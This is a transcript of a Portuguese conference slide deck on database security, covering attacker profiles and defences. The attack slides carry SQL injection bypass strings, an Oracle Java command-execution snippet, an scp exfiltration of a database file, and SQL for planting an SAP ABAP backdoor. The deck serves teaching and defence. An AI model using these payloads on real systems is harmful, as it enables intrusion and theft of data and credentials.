database - attack & protect

42
DATABASE ATTACK & PROTECT Ricardo Martins CISA, ISO 27001 LA, ISO 20000 Auditor Myriad Crystal Center 2012/12/05

Upload: cloudcomputingpt

Post on 01-Jun-2015

171 views

Category:

Technology


3 download

DESCRIPTION

Caçar fantasmas é uma actividade arriscada. Implica vigiar os seus lugares preferidos e perceber os seus hábitos de alimentação, caso contrário arriscamo-nos a ser surpreendidos. Nesse âmbito propomos fazer uma apresentação dos meandros da segurança de base de dados, utilizando exemplos e aplicando repelente para diferentes espécies.

TRANSCRIPT

Page 1: Database - Attack & Protect

DATABASE

ATTACK & PROTECT

Ricardo Martins CISA, ISO 27001 LA, ISO 20000 Auditor

Myriad Crystal Center 2012/12/05

Page 2: Database - Attack & Protect

01

AGENDA

#REALITY_CHECK #ATTACK #PROTECT

Page 3: Database - Attack & Protect

02

REALITY_CHECK

Page 4: Database - Attack & Protect

Mais de 1MM de Registos Foram Expostos a Partir de Bases de Dados Em 6 Anos

Dois Terços de Informação Sensível Reside em Bases de Dados

… e Duplica a Cada Dois Anos

2011 2009

48% Data Breaches Caused by Insiders 89% Records Stolen Using SQL Injection 86% Hacking Used Stolen Credentials

fonte: IDC, 2011; Verizon, 2007-2011

03

REALITY_CHECK

Page 5: Database - Attack & Protect

• SQL injection attacks against databases are responsible for 89% of breached data

• SQL injection vulnerabilities are endemic

• Require code changes to be made to an application.

“The versatility and effectiveness of SQL injection make it a multi-tool of choice among cyber criminals.”

fonte: Verizon 2010-2012 Data Breach Investigations Report

04

REALITY_CHECK

OWASP TOP TEN #1 Injection

Use of stolen login credentials

SQL Injection

Exploitation of backdoor or

command and control channel

51% / 86%

29% / 51%

Hacking methods by percent of breaches within hacking and

percent of records

25% / 89%

Page 6: Database - Attack & Protect

ATTACK

05

Page 7: Database - Attack & Protect

Define target

Find and organize

accomplices

Build or acquire tools

Research target

infrastructure employees

Test for detection

Deployment Initial

intrusion

Outbound connection

initiated

Expand access and obtain credentials

Strengthen foothold

Exfiltrate data

Cover tracks and remain undetected

ATTACK

06

ADVANCED PERSISTENT THREAT

fonte: SecureWorks 2012 Anatomy of an APT

Page 8: Database - Attack & Protect

rede ISP

rede Alvo

corporate LAN

router 2.2.2.2

Hops

10

11

12

8

9

Hops

8

9

10

6

7router 1.1.1.1

1.1.1.1 2.2.2

.2

load balancer

firewalll1

ISP 2ISP 1

app servers

databases

Internet

11 13

firewalll2

07

ARQUITECTURA

Atacante externo Atacante interno

ATTACK

Page 9: Database - Attack & Protect

EXTERNO

08 ATTACK

Page 10: Database - Attack & Protect

BÁSICO/ SCRIPTED

SOFISTICADO/ APT

FRAUDE POLÍTICO/ REPUTAÇÃO

ROUBO DE IDENTIDADE

ESPIONAGEM/ CYBERWARFARE

COMPLETO DELIMITADO FOCADO

ACESSO FÍSICO

REDES DIGITAIS OUTRAS

COMUNICAÇÕES ENGENHARIA

SOCIAL

CAMUFLADO RUIDOSO

C. HACKING

ORIENTAÇÃO

ÂMBITO

ABORDAGEM

TÉCNICA

ATTACK

09

ATACANTE_EXTERNO

C. NEGÓCIO SUPERFICIAL PRIVILEGIADO

EXTERNO INTERNO RELAÇÃO

ABRANGENTE

ANOS DIAS MESES PERÍODO

EXTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK

AVANÇADO/ ACADÉMICO

Page 11: Database - Attack & Protect

ATTACK

10

ATACANTE_EXTERNO

Driver

Transacções financeiras

Bens transaccionáveis

Informação sensível

Foco

Instituições financeiras

Escritórios de advogados

Empresas detentoras de patentes

Comércio online

Organizações com muita informação pessoal e correlacionável

(e.g. email, nome, morada, sexo, empregador, BI, NIF, compras, etc.)

Page 12: Database - Attack & Protect

ATTACK

11

ATACANTE_EXTERNO

Pontos a explorar:

Software desactualizado com fingerprinting e exploits disponíveis

IAM e PIM ineficientes (e.g. passwords default, contas esquecidas, contas privilegiadas não controladas)

Serviços desnecessários e inseguros

Aplicações Web vulneráveis a SQL injection

Whaling, spear phishing

Malware

Page 13: Database - Attack & Protect

Utilizadores conseguem subverter a aplicação para acederem à base de dados

As aplicações não são desenhadas defensivamente

As aplicações correm com utilizadores privilegiados

Cada aplicação é única

Aplicação SELECT * from sales where produtoID = ''union select produtoID, clienteID from Compras --'' and location = 1;

SELECT * from sales where produtoID = ‘SAASCloudStorage' and location = 1;

Demasiada confiança...

ATTACK

12

SQLi

www.borla.pt/search.jsp?product=SAASCloudStorage www.borla.pt/search.jsp?product=' union select clienteID from Compras --'

Base de Dados

Page 14: Database - Attack & Protect

13

SQLi

ATTACK

or 1=1 --

' or 0=0 --

'' or 0=0 --

or 0=0 --

' or 0=0 #

'' or 0=0 #

or 0=0 #

' or 'x'='x

'' or

''x''=''x

') or ('x'='x

' or 1=1--

hi'') or

(''a''=''a

' or a=a--

'' or

''a''=''a

') or ('a'='a

'') or

(''a''=''a

hi'' or

''a''=''a

...

Saber a versão da base de dados ' or 1=utl_inaddr.get_host_address((select banner

from v$version where rownum=1))—

Correr comandos no sistema operativo (através de java)

javasyspriv to user1;create or replace and resolve

java source name "JAVACMD" ASimport

java.lang.*;import java.io.*;public class JAVACMD{

public static void execCommand (String command)

throws IOException {

Runtime.getRuntime().exec(command);} };/Create or

replace procedure javacmdproc (p_command in

varchar2)as language java name 'JAVACMD.execCommand

(java.lang.String)';/exec javacmdproc('cmd.exe /c

echo Olá > c:\cloudcomputing.txt');

Page 15: Database - Attack & Protect

INTERNO

14 ATTACK

Page 16: Database - Attack & Protect

BÁSICO/ SCRIPTED

AVANÇADO/ SOFISTICADO

FRAUDE POLÍTICO/ REPUTAÇÃO

ROUBO DE IDENTIDADE

ESPIONAGEM/ CYBERWARFARE

COMPLETO FOCADO

ACESSO FÍSICO

REDES DIGITAIS ENGENHARIA

SOCIAL

CAMUFLADO RUIDOSO

C. HACKING

ORIENTAÇÃO

ÂMBITO

ABORDAGEM

TÉCNICA

ATTACK

15

ATACANTE_INTERNO

C. NEGÓCIO SUPERFICIAL PRIVILEGIADO

EXTERNO INTERNO RELAÇÃO

ABRANGENTE

ANOS DIAS MESES PERÍODO

INTERNAL ADVANCED TARGETED COMPUTER HACKING ATTACK

DELIMITADO

Page 17: Database - Attack & Protect

ATTACK

16

ATACANTE_INTERNO

Driver

Informação sensível

Transacções financeiras

Foco

Informação sensível do negócio do empregador ou clientes

Credenciais para transacções financeiras

Informação pessoal e correlacionável dos clientes

(e.g. email, nome, volume de compras, datas de contratos, registos de utilização)

Page 18: Database - Attack & Protect

ATTACK

17

ATACANTE_INTERNO

Pontos a explorar:

Acesso aos ficheiros de base de dados pelo sistema operativo

Acesso a Informação de clientes pela de base de dados

Engenharia social a colegas ou clientes

Acesso a tapes de backups não cifradas

Ambiente de testes com os mesmos dados de produção

Colocação de malware

Page 19: Database - Attack & Protect

ATTACK

18

ATACANTE_INTERNO_SYSADMIN

Sistema Operativo

A base de dados não é cifrada. É possível copiar a informação e transportá-la numa pen USB.

cp /home/oracle/oradata/tmdb/system01.dbf /home/hacker/

scp /home/hacker/system01.dbf [email protected]:22/

BD não cifrada Administrador

de Sistemas

Page 20: Database - Attack & Protect

O DBA que tem acesso informação de clientes pela base de dados e pode fazer alterações sem deixar vestígios.

A tabela T000 contém informação base de clientes SAP.

SELECT MANDT, MTEXT, CCCATEGORY from SAPSR3.T000;

BD sem separação de funções (SoD)

DBA

ATTACK

19

ATACANTE_INTERNO_DBA_READ

Page 21: Database - Attack & Protect

É possível a um DBA injectar um backdoor ABAP no sistema SAP.

UPDATE SAPSR3.REPOSRC

SET DATA=<CODIGO_BACKDOOR_ABAP> WHERE PROGNAME='SAPMSYST';

ATTACK

20

ATACANTE_INTERNO_DBA_WRITE

De modo a activar o backdoor basta obrigar o SAP a interpretar o novo código:

DELETE FROM SAPSR3.REPOLOAD WHERE PROGNAME='SAPMSYST';

O backdoor poderia enviar emails com todas as passwords dos utilizadores que fazem login no SAPGUI.

Page 22: Database - Attack & Protect

ATTACK

21

COMMON_ATTACK_PATTERN_ENUMERATION_AND_CLASSIFICATION

fonte: capec.mitre.org

Page 23: Database - Attack & Protect

Os ataques têm um objectivo concreto.

É suposto não serem detectados.

O atacante externo é mais sofisticado, o interno tem acesso a infra-estrutura e informação privilegiados.

Os ataques podem ser muito alargados no tempo.

Um auditor de segurança analisa risco tecnológico num curto espaço de tempo.

ATTACK

22

KEY POINTS

Page 24: Database - Attack & Protect

PROTECT

23

Page 25: Database - Attack & Protect

PROTECT

24

INTERVENIENTES

Aplicações

Clientes

Fornecedores

Gestores aplicacionais

Aplicações Cloud

Sistemas Operativos Administradores

de sistemas

Equipa de suporte

DBAs

Aplicações móveis

Hackers

Camada de Segurança

Colaboradores

DBAs Outsourcing

Equipa de suporte SLA

Programadores Outsourcing

Page 26: Database - Attack & Protect

25

COMMON_VULNERABILITY_SCORING_SYSTEM

PROTECT

fonte: www.first.org

Page 27: Database - Attack & Protect

EXTERNO

26 PROTECT

Page 28: Database - Attack & Protect

27

EXTERNO

PROTECT

Melhorar a segurança nas aplicações.

Software Assurance Maturity Model ISO/IEC 27034 Application security

Sistema Anti Fraude e Risk Based Access Control

Page 29: Database - Attack & Protect

Segregar redes e isolar as bases de dados.

28

EXTERNO

PROTECT

Page 30: Database - Attack & Protect

Compreender preventivamente a intenção dos pedidos SQL através de um

filtro/firewall SQL.

Impedir ataques sem quebrar o funcionamento das aplicações.

29

EXTERNO

PROTECT

Page 31: Database - Attack & Protect

Auditar vulnerabilidades e configurações.

30

EXTERNO

PROTECT

Page 32: Database - Attack & Protect

INTERNO

31 PROTECT

Page 33: Database - Attack & Protect

32

INTERNO

PROTECT

Gerir as contas privilegiadas de modo a haver não repúdio e auditabilidade.

Page 34: Database - Attack & Protect

33

INTERNO

PROTECT

Classificar a informação nas bases de dados e atribuir perfis de acesso.

Este workflow pode ser colocado num

Gestor de Identidades.

Page 35: Database - Attack & Protect

34

INTERNO

PROTECT

Segregar as funções (SoD) dos utilizadores nas bases de dados.

Os DBAs não devem ter acesso a

informação aplicacional.

Page 36: Database - Attack & Protect

35

INTERNO

PROTECT

Entidade Criar

Contas SYSDBA Backup Tuning Patching Monitor.

Security Admin

Negócio Aplica.

Ricardo Martins

X - - - - - - -

Eurico Maia

- - - - - - X -

Tiago Jacinto

- - X - - - - -

Carlos Silva

- - - - - X - -

Pedro Costa

- - - X - X - -

RMAN - X X - - - - -

SYSTEM - - - - EBS - - -

SAPSR3 - - - - - - - SAP ERP

Page 37: Database - Attack & Protect

36

INTERNO

PROTECT

Transpor dados de produção para ambientes de pré-produção retirando a informação

sensível.

As equipas de desenvolvimento não devem ter acesso a informação de negócio.

Page 38: Database - Attack & Protect

37

INTERNO

PROTECT

• Ser selectivo

• Fazer log de todo o SQL de utilizadores com acessos privilegiados

• Não logar actividade aplicacional normal

• Log SQL apenas para a actividade sensível das aplicações

• Utilizar níveis de ameaça para priorizar eventos

Aplicar boas práticas de logging.

Page 39: Database - Attack & Protect

38

INTERNO

PROTECT

Cifrar a informação sensível da base dados em repouso, em trânsito em nos backups.

Autenticação em clear text é facilmente interceptada numa LAN (ARP Spoofing).

Page 40: Database - Attack & Protect

PROTECT

39

KEY POINTS

Começar com um plano simples e ir melhorando.

Definir métricas.

(e.g. número de incidentes, impacto CIA, impacto no negócio, número de clientes afectados, etc.)

Page 41: Database - Attack & Protect

As redes digitais são os novos espaços. Devemos ter as mesmas cautelas que temos no mundo físico, os perigos são os mesmos.

As bases dados devem ser trabalhadas como recursos críticos que são.

A segurança tem de ser trabalhada em camadas, como um castelo. Nenhuma camada é intransponível, mas pode implicar muita complexidade, tempo, presença física. etc.

Os seus recursos são valiosos e são transaccionáveis na Web.

PROTECT

40

KEY POINTS

Page 42: Database - Attack & Protect

[email protected]

www.cloudcomputing.pt

CloudComputing.PT é uma marca registada de CloudComputing.PT LDA